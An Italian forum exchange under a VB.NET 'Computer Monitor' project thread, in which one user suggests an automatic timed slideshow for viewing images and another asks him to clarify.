Cioè ? Spiegati meglio, c'è già un form dove visualizzare le immagini.
Originalmente inviato da mattybravo *Registrati per vedere i link, basta cliccare qui Una cosa che potresti aggiungere, magari viene carino, è una specie di SlodeShow per visualizzare le immagini.Ultima modifica di System32 : 01-07-12 alle ore 12:18 - 01-07-12, 12:19




Iscritto dal 26/03/2011
Messaggi: 285
Località: Roma
Sesso: Uomo
Grazie ricevuti: 1
Menzionato in 1 Post
Riferimento: [VB.NET]Computer MonitorScusa ho sbagliato a scrivere "SlideShow", intendevo per farlo più carino e versatile invece di visualizzare le immagini con tasti "avanti" e "indietro". Praticamente uno slideshow automatico con intervallo preimpostato che ti fa vedere ogni tot secondi un' immagine. Non so se ho chiarito oppure ho confuso.
Originalmente inviato da System32 *Registrati per vedere i link, basta cliccare qui
Cioè ? Spiegati meglio, c'è già un form dove visualizzare le immagini.








Rispondi citando